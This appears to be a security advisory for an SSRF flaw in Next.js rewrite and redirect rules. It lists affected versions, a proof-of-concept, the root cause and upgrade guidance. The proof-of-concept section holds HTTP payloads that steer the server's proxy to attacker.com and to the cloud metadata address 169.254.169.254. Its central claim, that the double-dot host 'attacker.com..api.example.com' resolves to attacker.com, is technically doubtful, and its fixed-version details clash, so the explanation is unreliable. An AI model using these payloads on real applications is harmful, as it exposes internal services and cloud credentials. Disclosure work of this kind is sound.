highCVE-2026-64645Jul 22, 2026

CVE-2026-64645: Next.js Server-Side Request Forgery via Rewrite Destination Hostname

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A Next.js rewrite or redirect rule that builds its destination hostname from user input can be tricked into proxying requests to any server the attacker controls, exposing internal services and…

Packagenext
Ecosystemnpm
Affected>= 12.0.0, < 15.5.21
Fixed in15.5.21

The problem

Any Next.js app using rewrites() or redirects() where a dynamic segment (from the path or a has capture) is interpolated into the destination hostname is affected. The framework performs no hostname validation before proxying, so an attacker can supply a value containing dots to redirect the outbound request to an entirely different host.

For rewrites, Next.js fetches the attacker-chosen host and returns its response as if it came from the app's own origin. This allows reading cloud metadata endpoints (169.254.169.254), internal APIs, or any other host reachable from the server. Affected versions span Next.js 12.0.0 through 15.5.20 and 16.0.0 through 16.2.10.

Proof of concept

A working proof-of-concept for CVE-2026-64645 in next, with the exact payload below.

http
# Config in next.config.js (vulnerable pattern):
# source: '/:tenant'
# destination: 'https://:tenant.api.example.com'
#
# Attacker sends:
GET /attacker.com. HTTP/1.1
Host: victim-app.com

# Next.js expands destination to:
# https://attacker.com..api.example.com
# The trailing dot causes DNS to resolve 'attacker.com.' (root-qualified),
# so the proxy connects to attacker.com instead of *.api.example.com.
#
# For cloud metadata SSRF (no trailing dot needed if tenant=169.254.169.254):
GET /169.254.169.254 HTTP/1.1
Host: victim-app.com
# Destination becomes: https://169.254.169.254.api.example.com
# Internal DNS or link-local resolution may reach the metadata service.

Next.js interpolates the named capture directly into the destination URL string with no allowlist check on the characters it may contain. The advisory workaround (constrain the capture to [a-z0-9-]) is the tell: dots, which are valid in a URL hostname, are not stripped or rejected before the destination URL is constructed and proxied.

A dot-terminated label like attacker.com. is treated as a fully qualified domain name by DNS, cutting off the intended .api.example.com suffix entirely.

The root cause is CWE-918 (Server-Side Request Forgery): user-controlled data flows into an outbound network destination without validation. The patch (commits 35f50135 and d3033266) adds a hostname allowlist check after segment substitution, rejecting any expanded destination hostname that does not match the statically configured suffix.

The fix

Upgrade to Next.js 15.5.21 or 16.2.11. If you cannot upgrade immediately, constrain every dynamic segment used in an external destination hostname to hostname-safe characters only, for example: value: '(?<region>[a-z0-9-]+)'. This prevents dots and other characters that can break out of the intended hostname suffix.

Reported by KarimPwnz.

References: [1][2][3][4][5][6]

Related research